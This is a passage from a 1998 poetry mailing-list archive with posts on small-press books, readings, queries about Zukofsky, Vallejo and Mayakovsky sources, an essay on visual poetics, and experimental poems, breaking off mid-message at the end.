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416. A. Jenn Sondheim
The Case of the Real (Declarative, for Lexie)
Sun 20 Sep 1998

-

The Case of the Real (Declarative, for Lexie)

"What appears to be a book about words is. So it's. Where there is. What appears to be awash in philosophy is. This is. It's. How is. It is. Al- ready, for such a text is. But it is. Perhaps it is. Or rather, the ling- uistic is. Nor are. There is. Death is. Death is. There is. Technology is. Technology is. The machine is. It is. Technology is. But this is. This is. Technology is. The surfaces are. This is. Cataclysm, dissolution, the col- lapse of the molecular, atomic, are. Being is. Perhaps Being is. Being is. It is. Intervals are. From moment to moment, speech is. At the heart of the written, there is. Transformations, becomings, are. There is. Almost all flows have been lost; this is. Our concern is. Words lead; they are. Words are. There is. Today is. There is. Not to write is. The beginning of the book is. What was. There are. Pure process is. One is. To step from the beginning, to step from this beginning, is. But mathesis is. There is. Everything and nothing are. Either everything is. Linkage is. One maps palely against or through the other; technology is. Following Lyotard, one might say that the real is. Writing is. It is. The scene is. The scene is. The scene is. It is. It is. It is. It is. The world is. It is. It is. This is. It is. On the other hand, there are."

↑ Index

417. Pierre Joris
Eric Mottram website
Sun 20 Sep 1998

Exactly a year ago the first ³Eric Mottram Conference² took place at the University of London. I proposed at that time the creation of a website that would publish the papers of this and subsequent conferences, as well as work by and on Eric Mottram. Due to circumstances etc. it took some time to get started, but here it is, as always "under construction," "ralentir travaux," but open:

http://www.albany.edu/mottram/

There still some hitches & glitches, and I would much appreciate any commentaries, suggestions, submissions etc. you may have.

Pierre Joris

==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Mal tu par l'encre même
-- Stéphane Mallarmé
==========

↑ Index

418. Loss Pequen~o Glazier
Un bureau sur l'Atlantique
Sun 20 Sep 1998

A N N O U N C E M E N T

I'm pleased to announce a significant new resource at the EPC, Un bureau sur l'Atlantique, a new bilingual web site created by Juliette Valery. The Bureau promotes American poetry in France through translation workshops, events, and different publishing series. The web site is terrific and provides a good look at the Bureau and its publications as well as the important work "Taches blanches / Blank Spots" by Emmanuel Hocquard. Come and visit Un bureau, the current selected resource at the EPC home page, http://writing.upenn.edu/epc

↑ Index

419. Lawrence Upton.
Re: Eric Mottram website
Sun 20 Sep 1998

-----Original Message-----
From: Pierre Joris <[redacted]>
To: [redacted] <[redacted]>;
[redacted] <[redacted]>;
[redacted] <[redacted]>
Date: 20 September 1998 15:14

|Exactly a year ago the first ³Eric Mottram Conference² took place at the |University of London. I proposed at that time the creation of a website that |would publish the papers of this and subsequent conferences, as well as work |by and on Eric Mottram

Excellent that so many more people will be able to receive this material - as in *my case because I had to miss out on a number of papers. preparing for the evening

Keep it up!

Lawrence Upton

↑ Index

420. **Douglas**
Re: Beyond the Sun & Moon Sale
Sun 20 Sep 1998

Thanks Charles,

I truly appreciate it.

Douglas

Charles Bernstein wrote:
>
> I've just had the great pleasure of receiving Sun & Moon Press's two most
> recent books: Joan Retallack's How to Do Things with Words and Myung Mi Kim's
> Dura, both of which I have been eagerly awaiting. I keep thinking there must be
> some magic to Douglas Messerli's publishing: how can he do so many books? But I
> also know that there is no magic, and that Sun & Moon lives within the same
> dire poetry publishing economy that many of us on this list are all too
> familiar. While at crucial points in its history, Sun & Moon did benefit from
> NEA and foundation grants, that time seems more and more remote. And a press
> like this, without the kind independent resources that have sustained some
> other literary publishers of a comparable scale to Sun & Moon, is dependent on
> sales for its survival.
>
> So when Sun & Moon sent those lists of $4 poetry books last week, it seemed to
> me that buying multiple copies of those books might be the ideal way to support
> Sun & Moon, to ensure that it is able to keep publishing books like the ones on
> the lists. While Sun & Moon is actually and officially a nonprofit

> organization, fund raising by the press has been negligible. But the sale, it
> seems to me, offers a great way of making a contribution to Sun & Moon -- and,
> in the bargain, getting books for oneself and also books to give to friends.
> It's a little like what Peter Pan says about Tinkerbell: if we want a press
> like Sun & Moon to survive, we all have to sprinkle a little fairy dust now, in
> the form of bulk buying of those $4 books. That may be the only kind of magic
> that works -- the kind that comes from readers who want these books and want
> more of them.
>
> For those who want to take another look at the list of books available, check
> out the Poetics List archive for this month under messages from Douglas
> (http://listserv.acsu.buffalo.edu/archives/poetics.html) or write to Douglas
> Messerli direct (at [redacted]) and I am sure he will return your
> request with a copy of the list. (The Sun & Moon website it at
> http://www.sunmoon.com)
>
> Charles Bernstein

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421. **K.Angelo Hehir**

beep conference

Sun 20 Sep 1998

> *A Celebration/tribute/conference*
>
> *On the H Orizon: bpNichol After Ten*
>
> *September 25-26, Emily Carr College of Art and Design*
> *Room 328, 1400 Johnson Street*
> *Granville Island, Vancouver*
>
> *Friday, September 25*
> *6:00 - 7:00 p.m. Registration*
> *Music by Susan McMaster, poems for bp on CD*
> *Installations by derek A. beaulieu (displayed*
> *throughout the conference)*
> *7:00 - 8:00 p.m. "bp: pushing the boundaries," a film by Brian Nash*
> *8:00 - 11:00 p.m. Readings and performances (Readers will include Lillian Allen,*
> *Darren Wershler-Henry, Steven Ross Smith,& Steve*

McCaffery)

Saturday, September 26
9:30 a.m. Registration
10:00 a.m. - 12:00 p.m. Introductions
Panel 1: Re-Calling bp. A Panel Discussion
Frank Davey, Daphne Marlatt, Fred Wah,
Irene Niechoda (moderator)
12:00 - 1:00 p.m. Lunch
1:00 - 1:30 p.m. Steve McCaffery: "The Semiology of the Saints"
1:30 - 3:30 p.m. Panel 2: Clint Burnham, Ashok Mathur, Peter Jaeger,

3:30 - 3:45 p.m. Coffee break
3:45 - 6:00 p.m. Panel 3: Brian Dedora, Steven Ross Smith
Carl Peters Darren Wershler-Henry
Respondent to the day: Sharon Thesen

6:00 - 8:00 p.m. Dinner
8:00 - 10:30 p.m. Gala reading (readers include Anne Walker,
Ashok Mathur, Renee Rodin, Carl Peters, Jeff Derksen,
Daphne Marlatt, Sharon Thesen, Gerry Gilbert, Dorothy
Trujillo Lusk, Fred Wah, Peter Jaeger and others)

Ticket prices: $5 single evening; $10 two day pass
For more information or to register, contact Jacqueline Larson, West Coast Line, [redacted]; email [redacted]

NOTE: RELATED EVENT!!
24 September, SFU campus, a celebration of "bpNichol Day"
Special Collectsion, 7th Floor, W.A.C. Bennett Library

1::30 - 3:30 p.m. - Display of publications and manuscripts from the Nichol papers
- Readings by Steve McCaffery and Darren Wershler-Henry
- Ellie Nichol in attendance

++++++++++++++++++++++++++++++++++++++
==========

7 pm
Thursday
September 24,

> **********
> *Ashok Mathur*
> *_Once Upon an Elephant_ (novel, Arsenal Pulp, Fall-98)*
> **********
> *and*
> **********
> *Rajinderpal S. Pal*
> *_papaji wrote poetry in a language i cannot read_ (poetry, TSAR, Fall-98)*
> **********
>
> *Sugar Refinery*
> *1115 Granville St.*
> *Vancouver, BC*
>
> **call* [redacted] *for information**
> **this is a free event**
> **the Sugar Refinery's Thursday Night Jazz event follows at 10pm**

↑ Index

422. Michael Leddy
Zukofsky's "'Mantis,' An Interpretation"
Sun 20 Sep 1998

Can someone identify the source of Zukofsky's opening?--

> Nomina sunt consequentia rerum,
> names are sequent to the things named

Thanks,

Michael Leddy

↑ Index

423. Michael Leddy
Vallejo quotation?
Sun 20 Sep 1998

I'm looking at the epigraphs to Gilbert Sorrentino's Aberration of Starlight--the Apollinaire I know is from "Marizibill" (Alcools), and the Satie is well known. But can someone point to the source of the lines from Vallejo?--

> ?Quien no escribe una carta?
> ?Quien no habla de un asunto muy importante,
> muriendo de costumbre y llorando de oido?

[Please visualize inverted question marks, and accents on the _e_ of _quien_ and the _i_ of _oido_.]

Thanks, Michael Leddy

↑ Index

424. Todd Baron /*/ ReMap

sunday's child

Sun 20 Sep 1998

---

sunday's slight reminder

LA BOOKS resumes its READING series

STEPHEN RATCLIFFE
TODD BARON

BALCONY CAFE
(at centinela and santa monica blvds)
Santa Monica

4pm

today
9/20/98

*

↑ Index

425. Daniel Zimmerman

Re: Zukofsky's "'Mantis,' An Interpretation"

Sun 20 Sep 1998

Michael Leddy wrote:
>
> Can someone identify the source of Zukofsky's opening?--
>
> Nomina sunt consequentia rerum,
> names are sequent to the things named
>
> Thanks,
>
> Michael Leddy

I think it's from Justinian; see PROVERBI ITALIANI, 16th line down:
http://www.ing.univaq.it/ordine/auleinf/filippo/latino.htm

:~)
Dan

↑ Index

426. Marcella Durand
Poetry Project #
Sun 20 Sep 1998

The phone number for the Project is [redacted].

The numbers at which it resides is the intersection of 10 and 2.

↑ Index

427. Michael Franco
lift mag & book sale
Mon 21 Sep 1998

---

greetings! Michael Franco here & with some grand issues from lift:

lift announces a limited number of back stock of issue 10/ 11: the Stephen Jonas issue; as well as # 15/16 the William Corbett issue are available @ $12. each, post-paid.

lift 10&11 JONAS ISSUE. fall, 1992. Torra, editor. 132 pages; wrappers. with photo of Jonas by Petricone. Contains selections from Jonas' EXCERSISES FOR EAR; Orgasms & other work: Essays by Rattray, Killian, Spicer, Dunn, Dorra Fitzgerald, Torra, Wieners, Corman, de Gruttula, Lansing, Ellingham & Weston. Interview with Joe Dunn.

lift 15&16 WILLIAM CORBETT ISSUE. Fall, 1994. Torra, editor. 160 pages; wrappers. Cover photo by Dorfman: Interview w/ Corbett; 9 poems; Review of Vendler's Harvard Book of Contemporary American Poetry; Essays/poems/ art by Creeley, Auster, Kleinzhaler, Lawrence, Harwood, Yau, Meyer, Warsh, Palmer, F. Howe, Mayer, M. Gizzi, Barrett, Pruitt, Mazur, Pruitt, Gander, Mckim, Sawyer- Lauçanno, Franco et al: Art by: Guston, Watkins, Amenoff, Imber, M. Torra, Seidman, M. Mazur, et al.

lift chapbook series #'s 1-4

1. AT LAST ROUND UP: T.J.Anderson III. 1996. 29p. wrappers by Molly Torra.

2. the journals of the man who kept bees [from A BOOK OF MEASURE; Second Circumference (complete)]: 1996. 44 p. wrappers by Katha Seidman.

3. TIMESERVER: Nick Lawrence. 1996. 30p. Wrappers by Ben E. Watkins.

4. Immediate Orgy & Audit: Ange Mlinko. 1996. 26p. Wrappers by Molly Torra.

Individual titles 1,3,4: $8.00 #2 $8.50: all post-paid.

A few complete sets have been put aside and are available on a first come- first served basis at $25.00 post paid.

Also available from dromenon press:

I have several copies of Joseph Torra's 16 Paintings: Edition was limited to 50 signed & numbered copies, hand-sewn in wrappers decorated by Molly Torra. 1992. 21 p. $10 post paid. checks to M. Franco/ dromenon press.

Copies & sets can be reserved via E-mail. Payment must be received with 7 days
of confirmation [E-mail] for copies to be guaranteed.

Checks for lift books payable to: J. Torra/ lift.

All Mail Orders: c/o dromenon press
90 OXFORD ST
SOMERVILLE MA >02143
{this is my new address- mf}

E-mail [redacted]

↑ Index

428. **George Bowering**

Re: Textual abuse

Mon 21 Sep 1998

> *Ron, your notion of dis-owning the poem when this happens gives me some comfort. i think you are right, those poems of mine that were published without any consultation or dialogue are not mine.*
>
> *c.*

Nor a big deal, finally. In 10 years who'll care? Not you.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

429. A. Jenn Sondheim
gratitude (fwd)
Mon 21 Sep 1998

-

gratitude

if i didn't have jennifer, julu, nikuko, i wouldn't be able to write. i'd only be able to write my own name, repeatedly, compulsively. it would decathect, disappear, only a viewpoint of iron and salt remaining. there would be nothing but annihilation to the limit, debris, ash left over from auschwitz. the writing _would_ in other words, "as it is," "as it is." planes slide against my body in the middle of the night, it's jennifer jennifer conjures up julu, she remains pale and ghostlike nikuko slides in directly from cherry-blossoms, pock monsters, computer lands they break me in to, stretch my skin beyond endurance, open my eyes wide, in the middle of the night, in the middle of the night. they allow me to think, pull out the ribs of me, backbone as well, take varying points of view, are a lot braver than i am, a lot smarter too

but i don't dream of them, don't talk to them, perhaps there are words they place in my mind, murmuring, subaudibles, occasions for poetry and language, conjunctions of desire

now perhaps i will try zoloft, occupying spaces with chemicals, filling in the gaps so that jennifer might continue to live. or now i might try a twelve-step or psychiatry, moving my writing to the level of the sym- tom, you'll never do that, jennifer says

i won't let you

and in that fashion, circumscriptions move like slow eddies across oils out into the real world, corraling perhaps a tenet of philosophy, a moment of what might pass for truth, an equation, an occasion. a brilliant text, one that is always sponsored,

brought to you by mind, brought to you by chemical, brought to you by jennifer

---

↑ Index

430. Lawrence Upton.
WORD SCORE UTTERANCE CHOREOGRAPHY
Mon 21 Sep 1998

Apologies for cross-posting

Re WORD SCORE UTTERANCE TEXT edited by Cobbing and Upton 156pp, 42 poets, ISBN 0 86162 750 4 Scheduled for publication late October 98

Further to my recent posting, Robert Sheppard has agreed to his article being posted here. Thanks to Robert.

Don't forget - L6.50 plus postage from New River Project 89a Petherton Road London N5 8QT UK

A THING OR TWO UPON THE PAGE The contributors to this volume have been invited because of their fascinating, and fascinatingly diverse, approaches to an apparently similar situation. They produce (at least) two types of text which can be described as verbal and visual (to leave aside the vocal that surfaces also as an aspect of these works). That these two types may be reproduced, from authors' copy, on separate and contiguous pages, might be the only relationship that can be claimed for them. Yet it is clear from the statements of poetics that each writer has also produced, that the nature of that relationship is very seldom one of contingency or peaceful co-existence. Whereas some artists see themselves as engaged in two (or three) separate activities, like Franz Mon, others usefully dispute the distinction that the page divisions of this project have contentiously set up; the appearance of the fashionable word "hybrid" in the statements of Spencer Selby and Steve McCaffery testifies to this. The question is one of medium. In contributor Johanna Drucker's The Visible Word, Expcrimcntal Typography and Modern Art 1909-1923, she sees the typographical experiments of Modernism (which she continues in her own work) as a material practice with two orders of materiality. The first is the "stuff of apparency" (Drucker: 45), the "sheer concrete thingness of printer's type", as another contributor, Edwin Morgan, put it. (Cobbing and Mayer: 21) Such an order may not exclude questions of historical and cultural value; the same text on paper, brass or gold surely is validated differently. Secondly, Drucker reminds us, following Saussure, the text is bound also by the relational signifying system we call language. There is no necessary connection between these material codes; whereas the linguistic system is rule-bound (in terms of grammar, syntax, etc.) even when the rules are broken, the realm of the visual is less encoded, although historical conventions are not absent. A comparison of Tom Leonard's agitprop slogan poster poem and Clemente Padin's "Destability Stabled" will reveal, in the first, that the two systems are complementary, and in the second that the visual expression undermines and complicates the verbal content. Yet this doubleheaded materiality is ever present in language, in Leonard's piece, and in all physical inscription of language. Writing is not on paper, like a flat projection upon a screen, but is in the paper, as it were. "Materiality of language," as McCaffery says, "is that aspect which remains resistant to an absolute subsumption into the ideality of meaning .... To see the letter not as phoneme but as ink, and to further insist on that materiality, inevitably contests the

status of language as a bearer of uncontaminated meaning." (Perloff: 129) As some contributors say, such "contamination" of Drucker's two systems is present in the physical appearance on the page of the "verbal" texts. This is not simply a question of design, layout, presentation, but of a visual syntax. There are no non-meaningful elements of a poem, in this sense, and questions of the spatial orientation of language on the page affect the reader's active engagement, and can be used to deliberately affect that engagement in many ways. This is relevant whether one is faced with Mallarmé, Olson, computer or hypertext poetry; or, as a teacher, the unreadable purple loops of an embellished exam script!. The spatial field of the page has often suggested notation, whether it is in the precise spacing of Jackson Mac Low's "Forties" or the openness of Cobbing's visual sound-scapes. Both imply eye-movement as text-realisation, present in both language and the visual, but again more coded in language (left to right, top to bottom, for example) than in the image (though conventions of perspective, centre and frame may dictate starting points). But what happens when language is read in that visual field? To turn to purely visual work, an escape from the linguistic system into the more open semiosis of the visual field can, in differing degrees, effect a critique, or even dismissal of, the constrictions of language. In certain texts here, language as system is absent, or skeletally present as ink on a page, or is replaced by recognisable image (and even figuration, especially in collage pieces). The avoidance of the discursive in the figural is analogous to the attitude of sculptor Anish Kapoor who speaks of his suspicion of objects. A similar suspicion towards language as system is demonstrated here, along with a fascination with page space (and, by extension, book-space, in the work of book artists and others). Some work collected here almost magically holds the two "systems" in a separate and parallel state. Drucker's spatiality matches the semantic with a rare poise and assurance. McCaffery on the other hand talks of presenting a number of writing systems on one plane. It is in some of the more hybrid texts that the system of language and the field of the visible collapse into one another, beyond the typographical doubleness described and enacted by Drucker. Each begins to take on aspects of the other. Letter forms or what might be letter forms, lose their relation to the system (and this doesn't only happen in the use of alien writing systems, as in Maggie O'Sullivan's designs). Yet shape and image begin to take on the look of letter shapes, symbols in an alien script, something that it forced upon the performer of such texts, for that is what a reader has become (whether or not one rises to one's feet with Bob Cobbing and begins to sound the texts as a score). The irruption of thingness in language, as I've hinted above, is the irruption of material historical occasion, of making, validation, and performance of the text, that will unsettle linguistic system, and declare its rooted but excessive presence. But materiality has not only been used as part of a materialist poetics. A hundred years ago (and where were the celebrations of

this fact?) Mallarmé's Un Coup de Dés dissolved syntax, opened up the page, varied type size and style, and margins, partly as a critique of the case of early modern newspaper design, yet its aim was an ideality of the Book. The paradox is that, like the contemplation of yantra or icon, an intense perception of material, significantly disrupted, affords access to a metaphysical realm, even a spirituality, or (as one contributor argues) to a pre-verbal state of primeval responsiveness. This paradoxical and, from the point of view of the poetics I have so far outlined, an opposing view of verbal and visual practices, can he found in some of the statements contained here. I don't personally share this view of language and the visual, but it does point to one of the commonalities of this work: the fact of the made thingness of the work diminishes the ro1e of selfhood in artistic creation. It also serves as a reminder of two things: firstly, poetics is a prescriptive, yet speculative, and suggestive, discourse (unlike the formulations of theory and criticism) and what it enables is almost as important as what it says; secondly, that the models of language and the visual are themselves historically and culturally unstable, and open to continual re-negotiation. Such work as contained here, whether verbal, visual, hybrid, or whatever it does or doesn't designate itself, has its place in those re-negotiations. Its power, in the most general terms, lies in its ability to test and contest the limits of language, the limits of the visual, and, ultimately, the limits of the world. Its refusal of boundaries, or its shifting of these, its exceeding of the boundaries, its excessive drawing into the fixed areas of literary and art practice of techniques and materials usually regarded as extraneous, is one of the great challenges that can be made in this era. As computer technologies conflate the visual and the verbal, an art which persists and resists at the meeting points of these systems (whether or not it partakes of the still "new" technologies, and oddly very little of what is contained here does) is particularly relevant and exciting. You will discover, as you read the following pages, quite a few things upon and into them, as the generalities of introduction give way to specific practices and specific pleasures. Robert Sheppard May 1998

Cobbing B. and Mayer, P. Concerning Concrete Poetry, Writers Forum, 1978 Drucker, J The Visible Word, The University of Chicago Press, 1994 Perloff, M. Radical Artifice, The University of Chicago Press, 1991 Copyright (c) Robert Sheppard 1998

↑ Index

431. **Ron Silliman**

Great Book alert

Mon 21 Sep 1998

This is a multi-part message in MIME format.

charset="iso-8859-1"

Gil Ott's Singing Horse Press has just published its 19th book in 19 = years, Linh Dinh's _Drunkard Boxing_, and it's simply fabulous. To give = you a sense of it, I want to quote two poems:

O HANOI

In the middle of town, or just off to the side,
Is the largest turtle in the world. (Or, maybe,
Just one of the largest.)

We lived in the old quarters, on Potato Street,
Then Coffin Street, then Clown Street,
Then Teleprompter Street.

In a so-called tube house, a house
So narow one must walk sideways
With one's head turned. Like this. We slept
Upright during the Four Thousand Year War, and,
Out of habit, for a thousand years afterward.

You will find my name, that of a ballyhooed scholar
From the 23rd century (AD or BC, I can't remember),
Inscribed on the next-to-last stele
At the Temple of Poesy.

CHATTER OF HONOR

On January 17th, 1978, at 2:32 PM, we were insulted.
On May 4th, 1985, at midnight, we were again insulted.
Our prestige has been retarded.
Our legendary status deterred by patriotic rogues.
Our height has been declined.
We were promised a terrace and chunky soup,
A pair of loafers and two leaflets.
We were led to believe
We had ongoing safe passage through the sewage.
But our guide was hosed as we entered the city.
We wandered until dawn popping every lit window.

These are, as I think those two poems show, uses and contexts to which = an imagination informed by surrealism (and much more) have not = previously been put. The book as a whole is like discovering a world you = never knew existed and which makes absolute sense.

Since it was just printed last week, I'm presuming that it can't be at = SPD yet, but it certainly will be there soon. And, as the verso says, = "Individuals may contact the press directly."

Singing Horse Press
Philadelphia Publishing Project
PO Box 40034
Philadelphia, PA 19106
[redacted]

The cost of a single copy is $8.00.

Douglas,

Speaking of fabulous, it's wonderful to know that Joan Retallack's _How = to Do Things with Words_ -- already a legendary work -- has finally also = become a reality we can all hold, own and read.

Ron

"I've just had the great pleasure of receiving Sun & Moon Press's two = most recent books: Joan Retallack's How to Do Things with Words and = Myung Mi Kim's Dura, both of which I have been eagerly awaiting."=20

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<BODY bgColor=3D#ffffff>
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<DIV><FONT size=3D2>[redacted]</FONT></DIV>
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</DIV></BODY></HTML>

↑ Index

432. Ron Silliman
Textual abuse: my own sins
Mon 21 Sep 1998

The Chicago Review was converting to computer typesetting when David Melnick and I edited our selection of SF writing (vol. 21, #4, 1970) and we never saw proofs. Much longer bio notes for our contributors got mushed together pretty badly. How badly? Well, consider that Joanne Kyger "once married Gary Snyder, her lone volume"

Ron Silliman
[redacted]

DO NOT RESPOND to
[redacted]
It is for listservs only.

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

433. Sarah Hreha
Re: Vallejo quotation?
Mon 21 Sep 1998

Michael-
Offhand I don't remember the Vallejo title but have the book at home. Will send tonight if noone else does.

A. Sarah Hreha
Dept. of Spanish and Portuguese
University of Minnesota

The Oct. visit of Cuban poet Norberto Codina:
http://www.tc.umn.edu/~hreh0001/ncodina.html

↑ Index

434. David Baratier
Everybody else is doing it
Mon 21 Sep 1998

Subject: 50th Anniversary of the Universal Declaration of Human Rights

Please transmit the following message to as many people as you can:

To celebrate the 50th Anniversary of the Universal Declaration of Human Rights, Amnesty International is collecting signatures for a pledge to support this very important United Nations declaration.

Amnesty has 3 million signatures (real and virtual) world wide, and wants 8
million (which would be 1/1000 of the world's population). The UN secretary
has already agreed to be present either in person or live by satellite (if he
has to be in New York) to receive the pledge as a tangible statement of the
world's people's commitment to an international agenda of human rights.

The simplest way to add your name to the pledge is to send an e-mail to :

[redacted]

with YOUR NAME in the SUBJECT and the following
text in the message :

"I support the rights and freedoms in the Universal Declaration of Human

Rights for all people, everywhere."

Please, forward this message to as many people as you can. Thanks.

↑ Index

435. daniel bouchard
VM translator
Mon 21 Sep 1998

Can anyone tell me who translated Mayakovsky's HOW TO MAKE VERSE for the Curbstone Press (Willamantic, CT) in 1976?

Can anyone give some information about the press.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

↑ Index

436. Poetics List

Lorcathon NYC (concert announcement FWRD)

Mon 21 Sep 1998

Friends & Enemies of New Music are pleased to announce an upcoming concert this Wednesday, Sept. 23rd, at 8:00 p.m., at Christ & St. Stephen's church, 120 W. 69th St. (off Broadway) in observance of the centennial of the birth of the great Spanish poet, Federico Garcia Lorca.

The program will include: "Balada Amarilla" for solo piano by David Del Tredici, played by the composer; "Cinq Chants de Lorca" by Noel Lee for soprano, flute and guitar; "Songs of the Duende" for mezzo and piano by Paula Kimper; "Cante Jondo" for mezzo, guitar and hand percussion by Ben Yarmolinsky; "El Polifemo de Oro" by Reginald Smith-Brindle for solo guitar; "Canciones Baja la Luna" by Joel Hamburger for mezzo, bass clarinet, marimba and Fender Rhodes piano; and "Cuatro Canciones de Garcia Lorca for soprano and piano by Paul Bowles.

The program will also include selections from Garcia Lorca's own arrangements of Spanish folk songs. Poet Jaime Manrique will read his own and Lorca's poetry.

Performers: Jorge Caballero-guitar, Marcella Calabi-soprano, Tom Cipullo- piano, Tom Kolor-percussion, David Del Tredici-piano, Kelly Horsted-piano, Margaret Lancaster-flute, Elaine Valby-mezz-soprano, Mimi Watkins-mezzo- soprano, Ben Yarmolinsky-guitar, Darynn Zimmer-soprano.

Tickets will be available at the door or may be reserved by calling [redacted]. Prices are $12 and $8 for students and seniors.

↑ Index

437. **Mark DuCharme**
query Brannen
Mon 21 Sep 1998

If anyone has an e-mail address for Jonathan Brannen, please backchannel. Thanks,

Mark DuCharme

_____
Get Your Private, Free Email at http://www.hotmail.com

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438. **Poproj**
ASL interpreter
Mon 21 Sep 1998

Would anyone out there be willing to interpret Jim Carroll's reading at the Poetry Project on Wed. Oct. 7th in American Sign Language? Or does anyone know anyone who could? Or does anyone have any leads on finding an ASL interpreter who would be willing to volunteer their time?

You can call me at [redacted], or backchannel at [redacted]

Thanks!
Marcella Durand

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439. **Mark Weiss**
Re: Textual abuse: my own sins
Mon 21 Sep 1998

As in quantity?

At 03:42 AM 9/21/98 PDT, you wrote:
>The Chicago Review was converting to computer typesetting when David
>Melnick and I edited our selection of SF writing (vol. 21, #4, 1970) and
>we never saw proofs. Much longer bio notes for our contributors got
>mushed together pretty badly. How badly? Well, consider that Joanne
>Kyger "once married Gary Snyder, her lone volume"
>
>
>
>Ron Silliman
>[redacted]
>[redacted]

>
>DO NOT RESPOND to
>[redacted]
>It is for listservs only.
>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com
>
>

↑ Index

440. **sylvester pollet**
Re: VM translator
Mon 21 Sep 1998

Preface by James Scully, but the back cover says translation by Valentina Coe. Copyright page says it's a reprint from Modern Russian Poets On Poetry, Ardis 1976. "6. There is no need to start a vast poetic factory going in order to make poetic cigarette lighters."

At 1:52 PM -0400 9/21/98, daniel bouchard wrote:
>Can anyone tell me who translated Mayakovsky's HOW TO MAKE VERSE for the
>Curbstone Press (Willamantic, CT) in 1976?
>
>Can anyone give some information about the press.
>
><<<<<<>>>>>>>>>>>>>>>>>
>Daniel Bouchard
>The MIT Press Journals
>Five Cambridge Center
>Cambridge, MA 02142
>
>[redacted]
>phone: [redacted]
> fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<

↑ Index

441. Susan Wheeler
Another Pesky Williams Query
Mon 21 Sep 1998

Where in WC Williams does this occur:

"thus moonlight is the perfect human touch?"

b-c, please --

Susan Wheeler
[redacted]
voice/fax [redacted]

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442. Henry Gould
mannerism
Mon 21 Sep 1998

Art for art's sake crosses cultural boundaries. For the Establishment it is underwritten by the order of values handed down (along with the trust funds). For the Avant-garde it is the talisman providing safe rejection of those values (along with the trust funds).

Everywhere I look I see cliques. And eminently superficial poetry, written for friends and mentors. Phrases parroted from someone's 100 year old idea of sophistication.

I'm a bad reader & frustrated cleric trying to stir up some noise & get attention at whatever the cost - what else is new?

- Henry Gould

↑ Index

443. Jim Andrews
Art?
Tue 22 Sep 1998

> *Henry Gould wrote:*
>
> *Art for art's sake crosses cultural boundaries. For the Establishment it is underwritten by the order of values handed down (along with the trust funds). For the Avant-garde it is the talisman providing safe rejection of those values (along with the trust funds).*

Art for art's sake cannot be for art's sake. Art for art's sake crosses cultural boundaries like burb dwellers do. A healthy avant-garde does not seek the new

for the sake of novelty or art, but out of respect for contemporary experience and in appreciation of those with vision who have gone before.

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444. Leonard Brink
Instress Fall 1998 Chapbooks
Tue 22 Sep 1998

Instress announces its Fall 1998 series of publications:

Chapbooks:
IN A FLASH by Rosmarie Waldrop
OTHER VEINS, ABSENT ROOTS by Elizabeth Robinson
&
Inscape #3 (Print Mag) featuring poetry by John Olson, Martha Ronk, Gene Frumkin, Ray DiPalma, Dennis Barone, and Elizabeth Robinson.

The set of all three publications is available from the publisher:
Instress
P.O. Box 3124
Saratoga, CA 95070

for just $10. Similarly, subscription to the Winter 1998/99 series (two chapbooks and _Inscape #4_) can be subscribed to for $10)

Previous Instress Chapbooks:

TRANSIENTS by Shannon Welch
STONE ANGELS by Keith Waldrop
THE RESEMBLANCE BEGINS by Keith Waldrop (A Play)
DESIRE & ITS DOUBLE by Norma Cole
LEAFLETS by Sheila E. Murphy
EX-FINITE:DANGERS DANCER... by Peter Ganick
ASCENDED DISTANCE by Leonard Brink
L O R E by Laynie Browne
BLINDSIGHT by Rosmarie Waldrop

Individual copies of these are available for $4 from:

Small Press Distribution
1341 Seventh Street
Berkeley, CA 94710

and in the U.K. from:

Spectacular Diseases
c/o Paul Green
83b London Road

Peterborough, Cambs.
PE 2 9BS

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445. Stephen Cope
Beyond the Page
Tue 22 Sep 1998

BEYOND THE PAGE PRESENTS:

FOR IMMEDIATE RELEASE:

What: Beyond the Page continues its series of monthly performance and arts
events with MARK WEISS and CHRISTOPHER REINER reading from their works.
Where: Faultline Theatre, 3152 5th Avenue (at Spruce in Hillcrest), San Diego.
When: Sunday, September 26. 4:00 PM.
Contact: Stephen Cope at [redacted] or Joe Ross at [redacted].
E-mail at
[redacted], or [redacted].

* * * * * * * * *

CHIRISTOPHER REINER was born and raised in Southern California. He was a member of The Drift Group of experimental filmmakers, and, since 1992, he has edited _WITZ: A Journal of Contemporary Poetics_. His writing has appeared in a variety of journals, including _Avec_, and the O*Blek anthology _Writing from the New Coast_. _A Coward's Libretto_, was published as a chapbook by Texture Press, His new book is _Ogling Anchor_, recently published by Avec Books. He is currently working a short video project, "The Man Who Ate A Car."

MARK WEISS is the author of two books of poetry, _Intimate Wilderness_ and _Fieldnotes_, and two chapbooks, "Letter to Maxine" and "A Block-Print by Kuniyoshi." He has been active as a readings organizer (at the West End and the Ear Inn in New York) and as editor and publisher of the magazine _Broadway Boogie_ in the 70's and Junction Press at present. He has taught Literature, Writing, Psychology (he was a psychotherapist for 15 years) and Film at the University of Connecticut, Columbia University, Hunter College, SUNY-Old Westbury, Pima College, the University of Arizona-Extension and UCSD.

* * * * * * * * *

BEYOND THE PAGE, an independent arts group dedicated to the promotion of experimental and explorative work in contemporary arts, is proud to continue

its monthly series of arts-related events with this dynamic reading/perofrmance. . For more information, call: [redacted], [redacted]; e-mail: [redacted], [redacted].

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446. Charles Alexander

Re: query: poetics of metallurgy

Tue 22 Sep 1998

Maria,

Many bookmakers have done metal bindings, some even entirely metal books. I know Arion Press did a Flatland many years ago with metal covers in metal case of some sort. Also, Daniel Kelm has done many metal bindings, I think even inventing one or more styles of binding in metal. Johanna Drucker, I think, has done some work with metal, too. I'm not the expert on this, but perhaps through MOMA's artists' book collection, or Printed Matter Bookstore in Manhattan, a lot could be found out, if you want more information along these lines. Steve Clay might also be a good resource about such works.

charles

At 09:41 AM 9/22/98 -0600, you wrote:
>hey all, an architect wants to do a directed study w/ me on the poetics of
>"human verdigris," that is, the effect of human touch, life, etc on metal
>over the course of time, the endpoin tof which would be some kind of
>multimedia "docoment," possibly a piece of metal w/ an inscription. i've
